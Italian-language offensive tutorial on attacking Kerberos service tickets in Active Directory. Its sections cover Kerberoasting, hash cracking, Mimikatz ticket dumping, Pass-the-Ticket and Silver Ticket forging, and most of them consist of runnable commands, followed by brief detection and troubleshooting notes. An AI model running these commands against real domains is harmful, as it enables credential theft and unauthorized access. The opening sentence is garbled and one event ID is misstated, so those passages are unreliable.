TGS Kerberos: Kerberoasting, Silver Ticket e Service Ticket

Guida offensiva al Ticket-Granting Service (TGS) Kerberos: SPN, Kerberoasting con Rubeus e Impacket, crack offline, Pass-the-Ticket e Silver Ticket Windows AD
- Pubblicato il 2026-07-21
- Tempo di lettura: 15 min
TGS Kerberos: Kerberoasting, Silver Ticket e Attacchi ai Service Ticket #
Il Ticket Granting Service (TGS) è il componente del KDC che e servizio è cifrata con una chiave derivata dalla password dell’account che esegue quel servizio. Se l’account utilizza una password debole, il ticket può essere sottoposto a cracking offline tramite Kerberoasting. Se invece possiedi già la chiave dell’account di servizio, puoi creare un Silver Ticket senza richiedere un nuovo ticket al Domain Controller.
Dopo aver ottenuto un TGT Kerberos, il client può richiedere ticket destinati a servizi specifici del dominio: SQL Server, CIFS, LDAP, HTTP, WinRM, Exchange e molte altre applicazioni integrate con Active Directory.
Questa fase del protocollo è particolarmente interessante durante un penetration test perché:
- qualsiasi utente autenticato può normalmente richiedere Service Ticket per gli SPN pubblicati nel dominio;
- la richiesta non richiede privilegi amministrativi;
- il materiale cifrato può essere analizzato e attaccato offline;
- la compromissione di un singolo service account può aprire percorsi verso database, server applicativi, sistemi di gestione o privilegi di dominio;
- conoscendo la chiave del servizio è possibile forgiare ticket validi senza possedere la password dell’utente impersonato.
Le tecniche principali trattate sono:
- enumerazione degli SPN;
- Kerberoasting con Impacket e Rubeus;
- cracking di ticket RC4 e AES;
- Kerberoasting selettivo;
- utilizzo di ticket già presenti in memoria;
- Pass-the-Ticket con Service Ticket;
- Silver Ticket;
- sostituzione dello SPN con
tgssub; - analisi di account utente, computer account e gMSA;
- troubleshooting operativo.
TGS, TGS-REQ, TGS-REP e Service Ticket #
Questi termini vengono spesso utilizzati come sinonimi, ma indicano elementi differenti.
| Termine | Significato |
|---|---|
| TGS | Ticket Granting Service, il servizio del KDC che rilascia ticket per le risorse |
| TGS-REQ | Richiesta inviata dal client al KDC per ottenere un ticket |
| TGS-REP | Risposta del KDC alla richiesta |
| Service Ticket | Ticket contenuto nella TGS-REP e presentato al servizio target |
| SPN | Identificatore Kerberos del servizio richiesto |
Il TGT serve ad autenticarsi verso il KDC. Il Service Ticket serve invece ad autenticarsi verso una risorsa precisa.
Un ticket per:
cifs/fileserver.corp.localnon equivale automaticamente a un ticket per:
ldap/dc01.corp.localIl servizio, l’hostname e l’account sul quale è registrato lo SPN determinano dove il ticket può essere utilizzato.
Come Funziona il Flusso TGS-REQ e TGS-REP #
CLIENT KDC / DOMAIN CONTROLLER
│ │
│──── TGS-REQ ─────────────────────────────────────►│
│ TGT valido │
│ Authenticator │
│ SPN richiesto │
│ Encryption types supportati │
│ │
│◄─── TGS-REP ──────────────────────────────────────│
│ Service Ticket │
│ Session key client-servizio │
│ │
│──── AP-REQ ───────────────► SERVIZIO TARGET │
│ Service Ticket + Authenticator │
│ │
│◄─── AP-REP opzionale ───── SERVIZIO TARGET │Il client presenta il proprio TGT al Ticket Granting Service e specifica lo SPN della risorsa che vuole raggiungere.
Il KDC restituisce:
- una copia della session key destinata al client;
- un Service Ticket destinato al servizio;
- informazioni sull’identità e sull’autorizzazione dell’utente, normalmente attraverso il PAC.
Il Service Ticket è cifrato con una chiave appartenente all’account sul quale è registrato lo SPN:
- con RC4-HMAC la chiave corrisponde sostanzialmente all’NT hash dell’account;
- con AES128 o AES256 la chiave viene derivata dalla password utilizzando anche il salt Kerberos;
- il client non deve conoscere la password del servizio;
- il servizio può decifrare il ticket perché possiede la stessa chiave.
Il KDC non ha bisogno di contattare il server applicativo durante ogni richiesta. Gli basta conoscere la chiave associata all’account del servizio presente in Active Directory.
Questa architettura rende possibile il Kerberoasting: un utente richiede un ticket legittimo e tenta successivamente di recuperare offline la password che ha generato la chiave del servizio.
SPN: Service Principal Name #
Un Service Principal Name è l’identificatore univoco utilizzato da Kerberos per associare un’istanza di servizio a un account Active Directory.
Formato generale:
ServiceClass/Host
ServiceClass/Host:Port
ServiceClass/Host:InstanceEsempi:
MSSQLSvc/sql01.corp.local:1433
MSSQLSvc/sql01.corp.local:SQLEXPRESS
HTTP/web01.corp.local
cifs/fileserver.corp.local
WSMAN/srv01.corp.local
ldap/dc01.corp.localQuando il client vuole raggiungere SQL Server su sql01, richiede un ticket per:
MSSQLSvc/sql01.corp.local:1433Il KDC cerca in Active Directory l’account sul quale è registrato lo SPN e usa la relativa chiave per cifrare il Service Ticket.
Uno SPN duplicato, errato o registrato sull’account sbagliato può provocare errori Kerberos come:
KDC_ERR_S_PRINCIPAL_UNKNOWN
KDC_ERR_PRINCIPAL_NOT_UNIQUE
KRB_AP_ERR_MODIFIEDQuali Account Sono Interessanti per il Kerberoasting #
Tecnicamente, qualsiasi account con uno SPN può ricevere un Service Ticket. Dal punto di vista operativo, però, non tutti gli account hanno lo stesso valore.
Account utente con SPN #
Sono i target principali:
svc_sql
svc_web
svc_backup
svc_sccm
svc_sharepoint
svc_exchangeQuesti account spesso utilizzano password:
- impostate manualmente;
- molto vecchie;
- escluse dalla scadenza;
- condivise tra più server;
- basate sul nome del servizio o dell’azienda;
- appartenenti ad account con privilegi elevati.
Un account utente con SPN e password gestita manualmente è il classico account Kerberoastable.
Computer account #
Anche i computer account possiedono numerosi SPN:
HOST/ws01.corp.local
cifs/ws01.corp.local
TERMSRV/ws01.corp.local
RestrictedKrbHost/ws01.corp.localSono tecnicamente richiedibili e le versioni moderne di Impacket permettono anche di selezionarli esplicitamente.
Tuttavia la password di un computer account Windows è normalmente:
- casuale;
- molto lunga;
- modificata automaticamente;
- estremamente resistente al cracking offline.
Di conseguenza, un ticket appartenente a WS01$ è normalmente inutile per il cracking, ma può diventare importante se la chiave del computer account è già stata recuperata tramite credential dumping, delegazione, abuso ACL o compromissione dell’host.
gMSA #
I Group Managed Service Accounts utilizzano password casuali di 240 byte, gestite automaticamente da Windows e ruotate normalmente ogni 30 giorni.
Un gMSA può avere SPN ed essere tecnicamente roastabile, ma il cracking del ticket non rappresenta un percorso realistico.
Il vettore offensivo corretto consiste nel verificare se l’account controllato possiede il diritto di leggere:
msDS-ManagedPasswordSe puoi recuperare il segreto del gMSA, non hai bisogno di crackare il Service Ticket.
Service Class ad Alto Valore #
| Service class | Servizio associato | Valore potenziale |
|---|---|---|
MSSQLSvc | Microsoft SQL Server | Database, impersonation, linked server, xp_cmdshell |
HTTP | IIS, SharePoint, web application | Accesso applicativo o amministrativo |
WSMAN | WinRM / PowerShell Remoting | Sessione remota se autorizzato |
cifs | SMB e file share | Accesso a condivisioni e file |
ldap | Active Directory LDAP | Query directory e operazioni LDAP autorizzate |
HOST | Servizi host generici | Utilizzabile da diversi componenti Windows |
TERMSRV | Remote Desktop Services | Autenticazione verso RDP |
exchangeMDB | Exchange Mailbox | Accesso a componenti Exchange |
exchangeAB | Exchange Address Book | Servizi rubrica Exchange |
MSOLAP | SQL Server Analysis Services | Accesso a dati BI |
ReportingService | SQL Server Reporting Services | Report e dati applicativi |
CmRcService | SCCM Remote Control | Infrastruttura di gestione endpoint |
MSOMSdkSvc | SCOM SDK | System Center Operations Manager |
AgpmServer | Advanced Group Policy Management | Gestione avanzata delle GPO |
AFServer | PI Asset Framework | Infrastrutture OT e industriali |
La service class da sola non determina i privilegi dell’account. Devi sempre analizzare:
- gruppi;
- ACL;
- sessioni;
- host sui quali l’account è amministratore;
- delegation settings;
- privilegi applicativi;
- relazioni BloodHound;
- password age;
adminCount;msDS-SupportedEncryptionTypes.
Enumerazione SPN da Linux con Impacket #
Elencare gli account utente con SPN #
impacket-GetUserSPNs 'corp.local/user:Password123!' \
-dc-ip 10.10.10.5Output tipico:
ServicePrincipalName Name MemberOf PasswordLastSet
------------------------------------- --------- ------------- -------------------
MSSQLSvc/sql01.corp.local:1433 svc_sql Domain Users 2021-03-15
HTTP/sharepoint.corp.local svc_sp Domain Users 2020-08-10Autenticazione tramite NT hash #
impacket-GetUserSPNs corp.local/user \
-hashes ':NTHASH' \
-dc-ip 10.10.10.5Autenticazione tramite ticket Kerberos già disponibile #
export KRB5CCNAME=/tmp/user.ccache
impacket-GetUserSPNs corp.local/user \
-k -no-pass \
-dc-ip 10.10.10.5Enumerazione cross-domain #
impacket-GetUserSPNs child.corp.local/user:'Password123!' \
-target-domain corp.local \
-dc-ip 10.10.10.5In presenza di trust, può essere utile cercare service account anche nei domini collegati.
Enumerare computer account con SPN #
Le versioni moderne di Impacket supportano anche l’enumerazione e la richiesta di ticket per machine account:
impacket-GetUserSPNs 'corp.local/user:Password123!' \
-dc-ip 10.10.10.5 \
-machine-onlyRichiesta per un computer specifico:
impacket-GetUserSPNs 'corp.local/user:Password123!' \
-dc-ip 10.10.10.5 \
-request-machine 'WS01$' \
-saveQuesta opzione è utile soprattutto per analisi Kerberos avanzate. Non aspettarti di crackare una password macchina generata automaticamente.
Enumerazione SPN da Windows #
SetSPN #
setspn -T corp.local -Q */*Cercare una service class specifica:
setspn -T corp.local -Q MSSQLSvc/*
setspn -T corp.local -Q HTTP/*
setspn -T corp.local -Q WSMAN/*Cercare dove è registrato uno SPN preciso:
setspn -Q MSSQLSvc/sql01.corp.local:1433Elencare gli SPN di un account:
setspn -L corp\svc_sqlPowerView #
Get-DomainUser -SPN |
Select-Object samaccountname,
serviceprincipalname,
pwdlastset,
memberof,
admincountSolo account con adminCount=1:
Get-DomainUser -LDAPFilter "(&(servicePrincipalName=*)(adminCount=1))" |
Select-Object samaccountname,
serviceprincipalname,
pwdlastset,
memberofModulo Active Directory #
Get-ADUser -LDAPFilter "(servicePrincipalName=*)" \
-Properties ServicePrincipalName,
PasswordLastSet,
MemberOf,
AdminCount,
PasswordNeverExpires,
msDS-SupportedEncryptionTypes |
Select-Object SamAccountName,
PasswordLastSet,
PasswordNeverExpires,
AdminCount,
ServicePrincipalName,
msDS-SupportedEncryptionTypesLDAP nativo #
$searcher = [adsisearcher]"(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$searcher.PropertiesToLoad.AddRange(@(
"samaccountname",
"serviceprincipalname",
"pwdlastset",
"memberof",
"admincount",
"msds-supportedencryptiontypes"
))
$searcher.FindAll() | ForEach-Object {
[PSCustomObject]@{
User = $_.Properties.samaccountname
SPN = $_.Properties.serviceprincipalname -join ", "
Groups = $_.Properties.memberof -join ", "
AdminCount = $_.Properties.admincount
ETypes = $_.Properties.'msds-supportedencryptiontypes'
}
}Prioritizzare i Target #
Richiedere ticket per centinaia di account senza alcun criterio produce molto materiale inutile. Conviene classificare prima gli account.
Priorità elevata:
- account con
adminCount=1; - membri di gruppi privilegiati;
- account con password molto vecchia;
PasswordNeverExpires;- service account usati su più server;
- account con ACL interessanti;
- account amministratori locali su server;
- MSSQL, SCCM, SCOM, backup, Exchange e SharePoint;
- account che supportano ancora RC4;
- account con nome legato all’azienda o all’applicazione.
Rubeus: statistiche senza richiedere ticket #
.\Rubeus.exe kerberoast /statsCon LDAP cifrato:
.\Rubeus.exe kerberoast /stats /ldapsFiltrare account privilegiati #
.\Rubeus.exe kerberoast \
/ldapfilter:"admincount=1" \
/outfile:admin_hashes.txtFiltrare password vecchie #
.\Rubeus.exe kerberoast \
/pwdsetbefore:01-01-2023 \
/outfile:old_passwords.txtLimitare il numero di risultati #
.\Rubeus.exe kerberoast \
/pwdsetbefore:01-01-2023 \
/resultlimit:5 \
/outfile:priority_hashes.txtLa combinazione più utile durante un assessment è spesso:
.\Rubeus.exe kerberoast \
/ldapfilter:"admincount=1" \
/pwdsetbefore:01-01-2024 \
/resultlimit:10 \
/outfile:priority_hashes.txtKerberoasting con Impacket #
Richiedere tutti i ticket disponibili #
impacket-GetUserSPNs 'corp.local/user:Password123!' \
-dc-ip 10.10.10.5 \
-request \
-outputfile kerberoast.txtRichiedere il ticket di un account specifico #
impacket-GetUserSPNs 'corp.local/user:Password123!' \
-dc-ip 10.10.10.5 \
-request-user svc_sql \
-outputfile svc_sql.txtUtilizzare un NT hash per autenticarsi #
impacket-GetUserSPNs corp.local/user \
-hashes ':NTHASH' \
-dc-ip 10.10.10.5 \
-request \
-outputfile kerberoast.txtUtilizzare una chiave AES #
impacket-GetUserSPNs corp.local/user \
-aesKey AES256_KEY \
-dc-ip 10.10.10.5 \
-request \
-outputfile kerberoast.txtUtilizzare un TGT già presente nella cache #
export KRB5CCNAME=/tmp/user.ccache
impacket-GetUserSPNs corp.local/user \
-k -no-pass \
-dc-ip 10.10.10.5 \
-request \
-outputfile kerberoast.txtEvitare di forzare RC4 per il TGT iniziale #
Le versioni recenti di Impacket espongono l’opzione:
-no-rc4Esempio:
impacket-GetUserSPNs 'corp.local/user:Password123!' \
-dc-ip 10.10.10.5 \
-request \
-no-rc4 \
-outputfile kerberoast.txtQuesta opzione evita di forzare RC4-HMAC durante l’ottenimento del TGT iniziale. Il tipo di cifratura del Service Ticket dipende comunque dalle chiavi disponibili sull’account target e dalla negoziazione Kerberos.
Kerberoasting con Rubeus #
Tutti gli account Kerberoastable #
.\Rubeus.exe kerberoast /outfile:hashes.txtAccount specifico #
.\Rubeus.exe kerberoast \
/user:svc_sql \
/outfile:svc_sql.txtSPN specifico #
.\Rubeus.exe kerberoast \
/spn:"MSSQLSvc/sql01.corp.local:1433" \
/outfile:sql_ticket.txtLista di SPN #
.\Rubeus.exe kerberoast \
/spns:C:\Temp\spns.txt \
/outfile:hashes.txtContenuto di spns.txt:
MSSQLSvc/sql01.corp.local:1433
HTTP/sharepoint.corp.local
WSMAN/srv01.corp.localOutput non spezzato #
.\Rubeus.exe kerberoast /nowrapRichieste scaglionate #
.\Rubeus.exe kerberoast \
/delay:5000 \
/jitter:30 \
/outfile:hashes.txt/delay indica la pausa in millisecondi tra le richieste. /jitter introduce una variazione percentuale.
In un test autorizzato, questi parametri permettono di controllare il ritmo dell’attività ed evitare picchi artificiali non rappresentativi dello scenario che stai simulando.
Ticket AES #
.\Rubeus.exe kerberoast \
/aes \
/outfile:aes_hashes.txtRC4 su account che non risultano AES-enabled #
.\Rubeus.exe kerberoast \
/rc4opsec \
/outfile:rc4_hashes.txt/rc4opsec utilizza il meccanismo tgtdeleg e filtra gli account che risultano configurati per AES, concentrandosi sui target per i quali RC4 è ancora previsto.
Non equivale a “rendere invisibile” l’attività. Le richieste rimangono osservabili nei log Kerberos.
Richiedere RC4 tramite TGT delegation #
.\Rubeus.exe kerberoast \
/usetgtdeleg \
/outfile:hashes.txtQuesta modalità può richiedere RC4 anche per account che supportano AES. In ambienti moderni può apparire come downgrade della cifratura ed essere molto più evidente rispetto a una normale richiesta AES.
Kerberoasting Senza Credenziali tramite Account No-Preauth #
Le versioni recenti di Rubeus e Impacket supportano scenari nei quali un account con Kerberos pre-authentication disabilitata viene utilizzato per richiedere direttamente materiale relativo a uno SPN.
Con Rubeus:
.\Rubeus.exe kerberoast \
/spn:"MSSQLSvc/sql01.corp.local:1433" \
/nopreauth:legacy_user \
/domain:corp.local \
/dc:dc01.corp.local \
/nowrapCon più SPN:
.\Rubeus.exe kerberoast \
/spns:C:\Temp\spns.txt \
/nopreauth:legacy_user \
/domain:corp.local \
/dc:dc01.corp.local \
/outfile:hashes.txtImpacket supporta inoltre richieste basate su utenti o SPN forniti tramite file:
impacket-GetUserSPNs corp.local/ \
-no-preauth legacy_user \
-usersfile targets.txt \
-dc-ip 10.10.10.5 \
-outputfile hashes.txtQuesta tecnica non va confusa con il normale AS-REP Roasting. L’obiettivo non è necessariamente crackare l’AS-REP dell’utente no-preauth, ma utilizzare quel principal per ottenere materiale relativo ai servizi indicati.
RC4 e Kerberoasting nel 2026 #
RC4 è stato storicamente il tipo di cifratura preferito nel Kerberoasting perché:
- la chiave RC4 corrisponde all’NT hash;
- il cracking è sensibilmente più rapido rispetto ad AES;
- molti service account legacy continuano a supportarlo;
- vecchie configurazioni AD lo negoziano ancora per compatibilità.
La situazione è però cambiata.
Con gli aggiornamenti Windows del luglio 2026, Microsoft ha avviato la fase finale dell’hardening Kerberos collegato a CVE-2026-20833. Il comportamento predefinito dei Domain Controller passa sempre più verso AES, mentre le dipendenze RC4 devono essere configurate esplicitamente o possono provocare errori di autenticazione.
Conseguenze pratiche:
/rc4opsecpuò restituire pochi o nessun account;- richieste RC4 possono fallire nei domini aggiornati;
- alcuni esempi storici di Kerberoasting non funzionano più senza configurazioni legacy;
- AES128 e AES256 diventano più comuni;
- il cracking offline rimane possibile, ma è più costoso;
- un ticket RC4 in un dominio AES-first è un indicatore molto più forte.
Prima di basare un test su RC4, controlla:
Get-ADUser svc_sql \
-Properties msDS-SupportedEncryptionTypes |
Select-Object SamAccountName,
msDS-SupportedEncryptionTypesE analizza i ticket con:
klistOppure:
.\Rubeus.exe describe /ticket:service_ticket.kirbiCrack Offline con Hashcat #
TGS-REP RC4 — Etype 23 #
hashcat -m 13100 kerberoast.txt rockyou.txtCon regole:
hashcat -m 13100 kerberoast.txt rockyou.txt \
-r /usr/share/hashcat/rules/best64.ruleMostrare i risultati:
hashcat -m 13100 kerberoast.txt --showTGS-REP AES128 — Etype 17 #
hashcat -m 19600 aes128_hashes.txt rockyou.txtTGS-REP AES256 — Etype 18 #
hashcat -m 19700 aes256_hashes.txt rockyou.txtAttacco combinato #
hashcat -m 13100 kerberoast.txt \
company_words.txt \
seasons.txt \
-a 1Mask attack #
Esempio per pattern come Summer2026!:
hashcat -m 13100 kerberoast.txt \
-a 3 \
'?u?l?l?l?l?l?d?d?d?d!'Una mask generica raramente è efficiente. Conviene costruire candidate basate su:
- nome azienda;
- nome prodotto;
- hostname del servizio;
- reparto;
- stagione;
- anno;
- mese;
- suffisso numerico;
- carattere speciale;
- convenzioni interne individuate durante il test.
Esempio wordlist mirata:
Corp2026!
CorpSQL2026!
SqlService2026!
Database2026!
Summer2026!
Backup2026!
SharePoint2026!Prince processor #
pp64.bin company_words.txt |
hashcat -m 13100 kerberoast.txtJohn the Ripper #
john \
--format=krb5tgs \
--wordlist=rockyou.txt \
kerberoast.txtVisualizzare la password recuperata:
john --show --format=krb5tgs kerberoast.txtPerché AES è Più Difficile da Crackare #
AES Kerberoasting non rende il service account immune.
La differenza principale è il costo computazionale:
- RC4 utilizza una derivazione più semplice;
- AES usa una string-to-key più costosa;
- il cracking AES è molto più lento;
- le password deboli rimangono comunque vulnerabili;
- una wordlist mirata può ancora avere successo.
Un account con password:
Company2026!rimane un target valido anche se usa AES256.
Un account con password casuale lunga 30–40 caratteri non è un target realistico né con RC4 né con AES.
Recuperare Service Ticket Già Presenti in Memoria #
Non sempre devi richiedere un nuovo ticket al KDC. Un host compromesso può avere Service Ticket già presenti nella cache Kerberos.
Visualizzare i ticket correnti #
klistCon Rubeus:
.\Rubeus.exe triageCon privilegi elevati:
.\Rubeus.exe triage /luid:0x3e7Dump dei ticket con Rubeus #
.\Rubeus.exe dump /nowrapFiltrare per servizio:
.\Rubeus.exe dump \
/service:MSSQLSvc \
/nowrapFiltrare per utente:
.\Rubeus.exe dump \
/user:administrator \
/nowrapDump con Mimikatz #
.\mimikatz.exe \
"privilege::debug" \
"sekurlsa::tickets /export" \
"exit"I ticket vengono salvati normalmente in formato .kirbi.
Convertire KIRBI in CCACHE #
impacket-ticketConverter ticket.kirbi ticket.ccacheIn alcune installazioni:
ticketConverter.py ticket.kirbi ticket.ccacheCaricare la cache:
export KRB5CCNAME=$PWD/ticket.ccache
klistPass-the-Ticket con un Service Ticket #
Un Service Ticket può essere iniettato o caricato in una sessione e utilizzato senza conoscere la password dell’utente.
A differenza di un TGT, però, il Service Ticket è limitato allo SPN per il quale è stato rilasciato.
Windows con Rubeus #
.\Rubeus.exe ptt /ticket:service_ticket.kirbiOppure Base64:
.\Rubeus.exe ptt /ticket:doIF...BASE64...==Verifica:
klistUtilizzo di un ticket CIFS:
dir \\fileserver.corp.local\C$Utilizzo di un ticket MSSQL:
sqlcmd -S sql01.corp.local -ESessione isolata con createnetonly
#
.\Rubeus.exe createnetonly \
/program:"C:\Windows\System32\cmd.exe" \
/show \
/ticket:service_ticket.kirbiQuesto crea una nuova logon session di tipo network-only e inserisce il ticket senza contaminare la cache Kerberos della sessione principale.
Linux con Impacket #
export KRB5CCNAME=$PWD/Administrator.ccacheTicket CIFS:
impacket-smbclient \
-k -no-pass \
corp.local/Administrator@fileserver.corp.localTicket MSSQL:
impacket-mssqlclient \
-k -no-pass \
corp.local/Administrator@sql01.corp.localIl nome utilizzato dal client deve corrispondere allo SPN contenuto nel ticket. Usare direttamente l’indirizzo IP spesso provoca fallback NTLM o errori Kerberos.
Cosa Fare Dopo Aver Crackato un Service Account #
Una password recuperata non implica automaticamente privilegi amministrativi. Devi verificare dove e come l’account può essere utilizzato.
Test SMB #
nxc smb 10.10.10.0/24 \
-u svc_sql \
-p 'RecoveredPassword!' \
-d corp.localEnumerare share:
nxc smb 10.10.10.0/24 \
-u svc_sql \
-p 'RecoveredPassword!' \
-d corp.local \
--sharesLDAP #
nxc ldap dc01.corp.local \
-u svc_sql \
-p 'RecoveredPassword!' \
-d corp.local \
--usersBloodHound #
bloodhound-python \
-u svc_sql \
-p 'RecoveredPassword!' \
-d corp.local \
-ns 10.10.10.5 \
-c AllOppure con NetExec:
nxc ldap dc01.corp.local \
-u svc_sql \
-p 'RecoveredPassword!' \
-d corp.local \
--bloodhound \
--collection AllMSSQL #
impacket-mssqlclient \
'corp.local/svc_sql:RecoveredPassword!@sql01.corp.local'Comandi iniziali:
enum_logins
enum_impersonate
enum_links
enable_xp_cmdshell
xp_cmdshell whoamiL’abilitazione di xp_cmdshell richiede privilegi adeguati. Prima verifica impersonation e linked server.
WinRM #
evil-winrm \
-i srv01.corp.local \
-u svc_sql \
-p 'RecoveredPassword!'Kerberos con password recuperata #
impacket-getTGT \
'corp.local/svc_sql:RecoveredPassword!'export KRB5CCNAME=svc_sql.ccacheDa questo punto puoi utilizzare strumenti Impacket con:
-k -no-passSilver Ticket #
Un Silver Ticket è un Service Ticket forgiato utilizzando la chiave dell’account che esegue il servizio target.
Differenza principale:
| Golden Ticket | Silver Ticket |
|---|---|
Richiede la chiave di krbtgt | Richiede la chiave del servizio |
| Permette di richiedere più servizi | È limitato allo specifico servizio o account |
| Forgia un TGT | Forgia un Service Ticket |
| Coinvolge l’intero dominio | Colpisce una risorsa più limitata |
| Può generare successive richieste TGS | Può essere presentato direttamente al servizio |
Prerequisiti:
- NT hash oppure chiave AES dell’account di servizio;
- SID del dominio;
- SPN esatto del servizio;
- hostname corretto;
- nome dell’utente da rappresentare;
- gruppi e RID da inserire nel ticket;
- conoscenza dell’account sul quale è registrato lo SPN.
Il servizio tenta di decifrare il ticket con la propria chiave. Se la chiave è corretta e il ticket è coerente, può accettare l’identità forgiata.
Alcuni servizi o configurazioni possono eseguire validazione aggiuntiva del PAC verso il Domain Controller. Il Silver Ticket non deve quindi essere considerato universalmente “offline” o sempre accettato.
Recuperare il SID del Dominio #
Da Windows:
whoami /userEsempio:
S-1-5-21-111111111-222222222-333333333-1105Il SID del dominio è:
S-1-5-21-111111111-222222222-333333333PowerShell:
Get-ADDomain | Select-Object DomainSIDDa Linux con Impacket:
impacket-lookupsid \
'corp.local/user:Password123!@dc01.corp.local'Silver Ticket con Impacket #
CIFS con hash del computer account #
Se possiedi l’NT hash di:
FILESERVER$puoi creare un ticket per:
cifs/fileserver.corp.localimpacket-ticketer \
-nthash MACHINE_ACCOUNT_NT_HASH \
-domain-sid S-1-5-21-111111111-222222222-333333333 \
-domain corp.local \
-spn cifs/fileserver.corp.local \
AdministratorIl tool crea:
Administrator.ccacheCaricamento:
export KRB5CCNAME=$PWD/Administrator.ccacheAccesso SMB:
impacket-smbclient \
-k -no-pass \
corp.local/Administrator@fileserver.corp.localMSSQL con account di servizio #
impacket-ticketer \
-nthash SERVICE_ACCOUNT_NT_HASH \
-domain-sid S-1-5-21-111111111-222222222-333333333 \
-domain corp.local \
-spn MSSQLSvc/sql01.corp.local:1433 \
Administratorexport KRB5CCNAME=$PWD/Administrator.ccacheimpacket-mssqlclient \
-k -no-pass \
corp.local/Administrator@sql01.corp.localSilver Ticket con chiave AES256 #
impacket-ticketer \
-aesKey SERVICE_ACCOUNT_AES256_KEY \
-domain-sid S-1-5-21-111111111-222222222-333333333 \
-domain corp.local \
-spn MSSQLSvc/sql01.corp.local:1433 \
AdministratorAES è particolarmente importante nei domini moderni nei quali RC4 è disabilitato o non più negoziato automaticamente.
Silver Ticket con Mimikatz #
CIFS #
.\mimikatz.exe \
"kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-111111111-222222222-333333333 /target:fileserver.corp.local /service:cifs /rc4:MACHINE_ACCOUNT_NT_HASH /ptt" \
"exit"Verifica:
klist
dir \\fileserver.corp.local\C$MSSQL #
.\mimikatz.exe \
"kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-111111111-222222222-333333333 /target:sql01.corp.local /service:MSSQLSvc /rc4:SERVICE_ACCOUNT_NT_HASH /ptt" \
"exit"Con AES:
.\mimikatz.exe \
"kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-111111111-222222222-333333333 /target:sql01.corp.local /service:MSSQLSvc /aes256:SERVICE_ACCOUNT_AES256_KEY /ptt" \
"exit"Il comando Mimikatz si chiama kerberos::golden, ma viene utilizzato anche per creare Silver Ticket quando specifichi /target e /service con la chiave del servizio invece della chiave di krbtgt.
Service Class Utili nei Silver Ticket #
| SPN | Utilizzo principale |
|---|---|
cifs/host | File share SMB |
MSSQLSvc/host:port | SQL Server |
HTTP/host | IIS e applicazioni HTTP con Kerberos |
WSMAN/host | WinRM |
HOST/host | Servizi Windows che utilizzano il principal HOST |
LDAP/dc | Operazioni LDAP autorizzate |
TERMSRV/host | Remote Desktop Services |
RPCSS/host | Componenti RPC e DCOM |
La presenza di un ticket valido non concede automaticamente l’autorizzazione richiesta. Il servizio può:
- verificare gruppi e SID nel PAC;
- applicare ACL locali;
- richiedere privilegi applicativi;
- rifiutare ticket con SPN errato;
- eseguire validazione aggiuntiva;
- utilizzare un account differente da quello che hai compromesso.
Per esempio, un ticket LDAP non concede automaticamente DCSync. Sono comunque necessari i diritti di replica appropriati.
TGS Substitution con Rubeus tgssub
#
Rubeus permette di sostituire il service name presente in un ticket già ottenuto.
Questa tecnica è utile quando più servizi:
- vengono eseguiti sotto lo stesso account;
- usano la stessa chiave Kerberos;
- appartengono allo stesso computer account;
- sono collegati a scenari S4U o delegazione.
Sintassi #
.\Rubeus.exe tgssub \
/ticket:original_ticket.kirbi \
/altservice:host/server.corp.local \
/pttEsempio da CIFS a HOST:
.\Rubeus.exe tgssub \
/ticket:cifs_ticket.kirbi \
/altservice:host/fileserver.corp.local \
/pttDa HTTP a LDAP:
.\Rubeus.exe tgssub \
/ticket:http_ticket.kirbi \
/altservice:ldap/dc01.corp.local \
/outfile:ldap_ticket.kirbiSalvare senza iniettare:
.\Rubeus.exe tgssub \
/ticket:original.kirbi \
/altservice:cifs/server.corp.local \
/outfile:modified.kirbiLa sostituzione non funziona arbitrariamente tra servizi gestiti da account differenti. Il servizio di destinazione deve poter decifrare il ticket con la stessa chiave.
È particolarmente rilevante negli abusi di:
- constrained delegation;
- resource-based constrained delegation;
- S4U2self;
- S4U2proxy;
- computer account con numerosi SPN associati.
Account gMSA: Cambiare Vettore #
Verifica gli account gMSA:
Get-ADServiceAccount -Filter * \
-Properties ServicePrincipalName,
PrincipalsAllowedToRetrieveManagedPassword,
msDS-ManagedPasswordInterval |
Select-Object Name,
ServicePrincipalName,
PrincipalsAllowedToRetrieveManagedPassword,
msDS-ManagedPasswordIntervalSe un account è gMSA:
- non perdere tempo con cracking tradizionale;
- controlla chi può leggere la managed password;
- analizza ACL e gruppi autorizzati;
- cerca host sui quali il gMSA viene utilizzato;
- verifica delegation e privilegi;
- analizza i path con BloodHound;
- controlla se hai compromesso un computer autorizzato a recuperarne il segreto.
Un gMSA ben configurato elimina quasi completamente il rischio legato al Kerberoasting della password, ma non elimina gli abusi derivanti da autorizzazioni errate.
Detection Essenziale #
Il focus dell’articolo è offensivo, ma conoscere la telemetria aiuta a capire quali azioni vengono prodotte durante il test.
Event ID 4769 #
L’evento 4769 viene generato sul Domain Controller quando il KDC riceve una richiesta TGS.
Campi utili:
- account richiedente;
- service name;
- client address;
- ticket encryption type;
- ticket options;
- failure code;
- supported encryption types;
- chiavi disponibili per il servizio.
Indicatori frequenti:
- molti SPN richiesti dallo stesso account;
- account che non richiede normalmente ticket;
- numerosi TGS in pochi secondi;
- RC4
0x17in un dominio AES-first; - service account ad alto valore richiesti da workstation insolite;
- richieste fuori dalla baseline dell’utente.
Silver Ticket #
Un Silver Ticket presentato direttamente al servizio può produrre:
- evento
4624sull’host target; - accesso applicativo;
- utilizzo del servizio;
- assenza di un corrispondente evento
4769sul Domain Controller.
La correlazione importante non è l’assenza dell’evento 4627, ma:
accesso Kerberos al servizio
senza una precedente richiesta TGS coerente sul KDCAltri segnali:
- username inesistente;
- SID o gruppi anomali;
- servizio usato da una workstation inattesa;
- account utilizzato fuori dagli host abituali;
- ticket con dati inconsistenti;
- processi che accedono a LSASS;
- uso di
.kirbio.ccacheda processi insoliti.
Troubleshooting #
KDC_ERR_S_PRINCIPAL_UNKNOWN
#
Il KDC non trova lo SPN.
Controlla:
setspn -Q MSSQLSvc/sql01.corp.local:1433Possibili cause:
- SPN inesistente;
- hostname sbagliato;
- porta mancante;
- alias DNS non registrato;
- SPN registrato con formato differente.
KDC_ERR_PRINCIPAL_NOT_UNIQUE
#
Lo SPN è duplicato.
setspn -XRicerca puntuale:
setspn -Q HTTP/web01.corp.localKRB_AP_ERR_MODIFIED
#
Il servizio non riesce a decifrare il ticket.
Cause comuni:
- SPN registrato sull’account sbagliato;
- password del service account modificata ma servizio non aggiornato;
- ticket forgiato con chiave errata;
